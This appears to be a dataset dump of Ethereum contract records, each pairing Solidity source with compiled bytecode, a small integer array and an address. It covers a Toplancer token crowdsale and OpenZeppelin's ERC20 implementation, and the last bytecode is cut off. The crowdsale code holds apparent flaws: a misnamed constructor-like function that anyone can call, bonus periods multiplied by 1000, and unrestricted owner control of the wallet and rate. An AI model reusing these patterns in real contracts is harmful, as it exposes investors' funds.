https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken ,Ownable { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // Override this method to have a way to add business logic to your crowdsale when buying function getTokenAmount(uint256 weiAmount) internal view returns(uint256) { return weiAmount.mul(rate); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } } /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } /** * @title RefundableCrowdsale * @dev Extension of Crowdsale contract that adds a funding goal, and * the possibility of users getting a refund if goal is not met. * Uses a RefundVault as the crowdsale's vault. */ contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; // minimum amount of funds to be raised in weis uint256 public goal; // refund vault used to hold funds while crowdsale is running RefundVault public vault; function RefundableCrowdsale(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } // if crowdsale is unsuccessful, investors can claim refunds here function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } // vault finalization task, called when owner calls finalize() function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } // We're overriding the fund forwarding from Crowdsale. // In addition to sending the funds, we want to call // the RefundVault deposit function function forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } } /** * @title CappedCrowdsale * @dev Extension of Crowdsale with a max amount of funds raised */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } // overriding Crowdsale#hasEnded to add cap logic // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { bool capReached = weiRaised >= cap; return capReached || super.hasEnded(); } // overriding Crowdsale#validPurchase to add extra cap logic // @return true if investors can buy at the moment function validPurchase() internal view returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return withinCap && super.validPurchase(); } } contract Toplancer is MintableToken { string public constant name = "Toplancer"; string public constant symbol = "TLC"; uint8 public constant decimals = 18; } contract Allocation is Ownable { using SafeMath for uint; uint256 public unlockedAt; Toplancer tlc; mapping (address => uint) founderAllocations; uint256 tokensCreated = 0; //decimal value uint256 public constant decimalFactor = 10 ** uint256(18); uint256 constant public FounderAllocationTokens = 840000000*decimalFactor; //address of the founder storage vault address public founderStorageVault = 0x97763051c517DD3aBc2F6030eac6Aa04576E05E1; function TeamAllocation() { tlc = Toplancer(msg.sender); unlockedAt = now; // 20% tokens from the FounderAllocation founderAllocations[founderStorageVault] = FounderAllocationTokens; } function getTotalAllocation() returns (uint256){ return (FounderAllocationTokens); } function unlock() external payable { require (now >=unlockedAt); if (tokensCreated == 0) { tokensCreated = tlc.balanceOf(this); } //transfer the tokens to the founderStorageAddress tlc.transfer(founderStorageVault, tokensCreated); } } contract TLCMarketCrowdsale is RefundableCrowdsale,CappedCrowdsale { enum State {PRESALE, PUBLICSALE} State public state; //decimal value uint256 public constant decimalFactor = 10 ** uint256(18); uint256 public constant _totalSupply = 2990000000 *decimalFactor; uint256 public presaleCap = 200000000 *decimalFactor; // 7% uint256 public soldTokenInPresale; uint256 public publicSaleCap = 1950000000 *decimalFactor; // 65% uint256 public soldTokenInPublicsale; uint256 public distributionSupply = 840000000 *decimalFactor; // 28% Allocation allocation; // How much ETH each address has invested to this crowdsale mapping (address => uint256) public investedAmountOf; // How many distinct addresses have invested uint256 public investorCount; uint256 public minContribAmount = 0.1 ether; // minimum contribution amount is 0.1 ether // Constructor // Token Creation and presale starts //Start time end time should be given in unix timestamps //goal and cap function TLCMarketCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, uint256 _goal, uint256 _cap) Crowdsale (_startTime, _endTime, _rate, _wallet) RefundableCrowdsale(_goal*decimalFactor) CappedCrowdsale(_cap*decimalFactor) { state = State.PRESALE; } function createTokenContract() internal returns (MintableToken) { return new Toplancer(); } // low level token purchase function // @notice buyTokens // @param beneficiary The address of the beneficiary // @return the transaction address and send the event as TokenPurchase function buyTokens(address beneficiary) public payable { require(publicSaleCap > 0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); uint256 Bonus = tokens.mul(getTimebasedBonusRate()).div(100); tokens = tokens.add(Bonus); if (state == State.PRESALE) { assert (soldTokenInPresale + tokens <= presaleCap); soldTokenInPresale = soldTokenInPresale.add(tokens); presaleCap=presaleCap.sub(tokens); } else if(state==State.PUBLICSALE){ assert (soldTokenInPublicsale + tokens <= publicSaleCap); soldTokenInPublicsale = soldTokenInPublicsale.add(tokens); publicSaleCap=publicSaleCap.sub(tokens); } if(investedAmountOf[beneficiary] == 0) { // A new investor investorCount++; } // Update investor investedAmountOf[beneficiary] = investedAmountOf[beneficiary].add(weiAmount); forwardFunds(); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool minContribution = minContribAmount <= msg.value; bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; bool Publicsale =publicSaleCap !=0; return withinPeriod && minContribution && nonZeroPurchase && Publicsale; } // @return current time function getNow() public constant returns (uint) { return (now); } // Get the time-based bonus rate function getTimebasedBonusRate() internal constant returns (uint256) { uint256 bonusRate = 0; if (state == State.PRESALE) { bonusRate = 100; } else { uint256 nowTime = getNow(); uint256 bonusFirstWeek = startTime + (7 days * 1000); uint256 bonusSecondWeek = bonusFirstWeek + (7 days * 1000); uint256 bonusThirdWeek = bonusSecondWeek + (7 days * 1000); uint256 bonusFourthWeek = bonusThirdWeek + (7 days * 1000); if (nowTime <= bonusFirstWeek) { bonusRate = 30; } else if (nowTime <= bonusSecondWeek) { bonusRate = 30; } else if (nowTime <= bonusThirdWeek) { bonusRate = 15; } else if (nowTime <= bonusFourthWeek) { bonusRate = 15; } } return bonusRate; } //start public sale // @param startTime // @param _endTime function startPublicsale(uint256 _startTime, uint256 _endTime) public onlyOwner { require(state == State.PRESALE && _endTime >= _startTime); state = State.PUBLICSALE; startTime = _startTime; endTime = _endTime; publicSaleCap=publicSaleCap.add(presaleCap); presaleCap=presaleCap.sub(presaleCap); } //it will call when crowdsale unsuccessful if crowdsale completed function finalization() internal { if(goalReached()){ allocation = new Allocation(); token.mint(address(allocation), distributionSupply); distributionSupply=distributionSupply.sub(distributionSupply); } token.finishMinting(); super.finalization(); } //change Starttime // @param startTime function changeStarttime(uint256 _startTime) public onlyOwner { require(_startTime != 0); startTime = _startTime; } //change Edntime // @param _endTime function changeEndtime(uint256 _endTime) public onlyOwner { require(_endTime != 0); endTime = _endTime; } //change token price per 1 ETH // @param _rate function changeRate(uint256 _rate) public onlyOwner { require(_rate != 0); rate = _rate; } //change wallet address // @param wallet address function changeWallet (address _wallet) onlyOwner { wallet = _wallet; } }
0x6060604052600436106100985763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166343d726d6811461009d578063521eb273146100b25780638c52dc41146100e15780638da5cb5b146100f4578063c19d93fb14610107578063cb13cddb1461013e578063f2fde38b1461016f578063f340fa011461018e578063fa89401a146101a2575b600080fd5b34156100a857600080fd5b6100b06101c1565b005b34156100bd57600080fd5b6100c561029c565b604051600160a060020a03909116815260200160405180910390f35b34156100ec57600080fd5b6100b06102ab565b34156100ff57600080fd5b6100c561033c565b341561011257600080fd5b61011a61034b565b6040518082600281111561012a57fe5b60ff16815260200191505060405180910390f35b341561014957600080fd5b61015d600160a060020a036004351661035b565b60405190815260200160405180910390f35b341561017a57600080fd5b6100b0600160a060020a036004351661036d565b6100b0600160a060020a0360043516610408565b34156101ad57600080fd5b6100b0600160a060020a036004351661048c565b60005433600160a060020a039081169116146101dc57600080fd5b60006002805460a060020a900460ff16908111156101f657fe5b1461020057600080fd5b6002805474ff00000000000000000000000000000000000000001916740200000000000000000000000000000000000000001790557f1cdde67b72a90f19919ac732a437ac2f7a10fc128d28c2a6e525d89ce5cd9d3a60405160405180910390a1600254600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561029a57600080fd5b565b600254600160a060020a031681565b60005433600160a060020a039081169116146102c657600080fd5b60006002805460a060020a900460ff16908111156102e057fe5b146102ea57600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a1790557f599d8e5a83cffb867d051598c4d70e805d59802d8081c1c7d6dffc5b6aca2b8960405160405180910390a1565b600054600160a060020a031681565b60025460a060020a900460ff1681565b60016020526000908152604090205481565b60005433600160a060020a0390811691161461038857600080fd5b600160a060020a038116151561039d57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461042357600080fd5b60006002805460a060020a900460ff169081111561043d57fe5b1461044757600080fd5b600160a060020a038116600090815260016020526040902054610470903463ffffffff61053c16565b600160a060020a03909116600090815260016020526040902055565b600060016002805460a060020a900460ff16908111156104a857fe5b146104b257600080fd5b50600160a060020a038116600081815260016020526040808220805492905590919082156108fc0290839051600060405180830381858888f1935050505015156104fb57600080fd5b81600160a060020a03167fd7dee2702d63ad89917b6a4da9981c90c4d24f8c2bdfd64c604ecae57d8d06518260405190815260200160405180910390a25050565b60008282018381101561054b57fe5b93925050505600a165627a7a723058200aef95d109228c94ec93e181fa6c16ca17fbb8ffe2f4356033f7f61c90b9dc4c0029
[ 7, 9, 16, 5, 2 ]
0xf22a15139197955380507e3fce11bf3e3ab67fe5
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "../Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f